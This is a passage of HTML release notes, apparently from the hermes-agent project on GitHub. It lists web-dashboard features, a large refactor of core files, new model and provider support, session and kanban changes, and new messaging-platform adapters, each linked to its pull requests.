href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47919" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47919/hovercard">#47919</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47655/hovercard">#47655</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills &amp; toolsets; session switcher panel on the Chat tab (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43808/hovercard">#43808</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49077/hovercard">#49077</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44231/hovercard">#44231</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48520/hovercard">#48520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40418" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40418/hovercard">#40418</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Enable webhooks from the Webhooks page; idempotent <code>hermes dashboard register</code>; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/44021" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44021/hovercard">#44021</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42455/hovercard">#42455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43424/hovercard">#43424</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43512/hovercard">#43512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41145" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41145/hovercard">#41145</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49141/hovercard">#49141</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>God-file refactor wave (run_agent.py / cli.py / gateway/run.py)</h3>
<ul>
<li><strong><code>cli.py</code> main() 3297 → 954 lines</strong> — extracted 28 subcommand parsers into <code>hermes_cli/subcommands/</code>, then promoted 9 closure handlers; 32 slash-command handlers → <code>CLICommandsMixin</code>; 18 model-flow wizard functions → <code>model_setup_flows</code>; agent-construction cluster → <code>CLIAgentSetupMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41798" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41798/hovercard">#41798</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41835/hovercard">#41835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41942" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41942/hovercard">#41942</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42174/hovercard">#42174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42153" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42153/hovercard">#42153</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>gateway/run.py</code> 19157 → 15870 lines</strong> — 42 slash-command handlers → <code>GatewaySlashCommandsMixin</code>; authorization cluster → <code>GatewayAuthorizationMixin</code>; kanban watcher loops → <code>GatewayKanbanWatchersMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41886/hovercard">#41886</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42159" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42159/hovercard">#42159</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41849/hovercard">#41849</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>run_agent.py</code> turn loop</strong> — extracted prologue into <code>TurnContext</code>, post-loop tail into <code>finalize_turn</code>, consolidated inner-retry-loop recovery flags into <code>TurnRetryState</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41778/hovercard">#41778</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42169/hovercard">#42169</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41828/hovercard">#41828</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, prompt &amp; tools</h3>
<ul>
<li><strong><code>memory</code> batch operations</strong> — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>search_files</code> lossless densification</strong> — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (<a href="https://github.com/NousResearch/hermes-agent/pull/47866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47866/hovercard">#47866</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Removed the agent-callable <code>send_message</code> tool; coding-context posture across CLI/TUI/desktop/ACP; <code>read_file</code> extracts <code>.ipynb</code>/<code>.docx</code>/<code>.xlsx</code> to text (<a href="https://github.com/NousResearch/hermes-agent/pull/47856" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47856/hovercard">#47856</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43316/hovercard">#43316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37082/hovercard">#37082</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (<a href="https://github.com/NousResearch/hermes-agent/pull/47251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47251/hovercard">#47251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47846/hovercard">#47846</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (<a href="https://github.com/NousResearch/hermes-agent/pull/41102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41102/hovercard">#41102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40957/hovercard">#40957</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (<a href="https://github.com/NousResearch/hermes-agent/pull/29724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29724/hovercard">#29724</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40240/hovercard">#40240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Provider &amp; model support</h3>
<ul>
<li>New models: <code>z-ai/glm-5.2</code> (verified 1M context, OpenRouter + Nous), <code>anthropic/claude-fable-5</code>, <code>laguna-m.1</code> + <code>nemotron-3-ultra</code>, xAI Composer 2.5 in the OAuth picker; default xAI to <code>grok-build-0.1</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/47391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47391/hovercard">#47391</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45695/hovercard">#45695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42979/hovercard">#42979</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42629" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42629/hovercard">#42629</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#47371</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (<a href="https://github.com/NousResearch/hermes-agent/pull/48691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48691/hovercard">#48691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42628/hovercard">#42628</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42614/hovercard">#42614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43338/hovercard">#43338</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Anthropic adaptive models: default to modern thinking contract; never send <code>reasoning</code> field; route <code>reasoning_effort</code> to verbosity; require confirmation for very expensive selections (<a href="https://github.com/NousResearch/hermes-agent/pull/42991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42991/hovercard">#42991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43012/hovercard">#43012</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43436" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43436/hovercard">#43436</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43391/hovercard">#43391</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor <code>model.default_headers</code> for custom OpenAI-compatible providers (<a href="https://github.com/NousResearch/hermes-agent/pull/42263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42263/hovercard">#42263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42316/hovercard">#42316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46614/hovercard">#46614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41096" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41096/hovercard">#41096</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock falls back to non-streaming <code>InvokeModel</code> when IAM denies the streaming variant; Ollama default <code>max_tokens=65536</code>; surface model refusals as <code>content_filter</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/44293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44293/hovercard">#44293</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41694" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41694/hovercard">#41694</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46013/hovercard">#46013</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions, state &amp; multi-agent</h3>
<ul>
<li>Optional <strong>max session cap</strong>; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (<a href="https://github.com/NousResearch/hermes-agent/pull/42389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42389/hovercard">#42389</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43855/hovercard">#43855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41724/hovercard">#41724</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (<a href="https://github.com/NousResearch/hermes-agent/pull/41730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41730/hovercard">#41730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45149/hovercard">#45149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44223/hovercard">#44223</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: config-gated auto-subscribe on <code>kanban_create</code>; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (<a href="https://github.com/NousResearch/hermes-agent/pull/48635" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48635/hovercard">#48635</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49068/hovercard">#49068</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45590/hovercard">#45590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49064" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49064/hovercard">#49064</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (<a href="https://github.com/NousResearch/hermes-agent/pull/46611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46611/hovercard">#46611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48262/hovercard">#48262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44431" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44431/hovercard">#44431</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38756/hovercard">#38756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
</ul>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New channels</h3>
<ul>
<li><strong>iMessage via Photon Spectrum</strong> — <code>hermes photon login</code> (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42397/hovercard">#42397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>WhatsApp Business Cloud API</strong> adapter (official, no bridge process) (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>SimpleX</strong> — groups, native attachments, text batching, auto-accept; <strong>Raft</strong> bundled platform plugin with activity hooks (<a href="https://github.com/NousResearch/hermes-agent/pull/42584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42584/hovercard">#42584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable <code>tool_progress_grouping</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41215/hovercard">#41215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42576/hovercard">#42576</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47253/hovercard">#47253</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47228/hovercard">#47228</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49134/hovercard">#49134</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43761/hovercard">#43761</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44245/hovercard">#44245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: propagate <code>role_authorized</code> so <code>DISCORD_ALLOWED_ROLES</code> works end-to-end; recover from runtime gateway task exits; cancel <code>_bot_task</code> on connect failure; stop typing after replies (<a href="https://github.com/NousResearch/hermes-agent/pull/43327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43327/hovercard">#43327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44383/hovercard">#44383</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44432/hovercard">#44432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44836" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44836/hovercard">#44836</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: scope top-level channel messages when <code>reply_in_thread=false</code>; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; <code>register_slack_action_handler</code> plugin API (<a href="https://github.com/NousResearch/hermes-agent/pull/41703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41703/hovercard">#41703</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43444/hovercard">#43444</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45512/hovercard">#45512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44664" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44664/hovercard">#44664</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/46107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46107/hovercard">#46107</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44695/hovercard">#44695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44205/hovercard">#44205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/18505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18505/hovercard">#18505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40574/hovercard">#40574</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41718" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41718/hovercard">#41718</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>)</li>
</ul>
<h2>🖥️ CLI, TUI &amp; Setup</h2>
<ul>
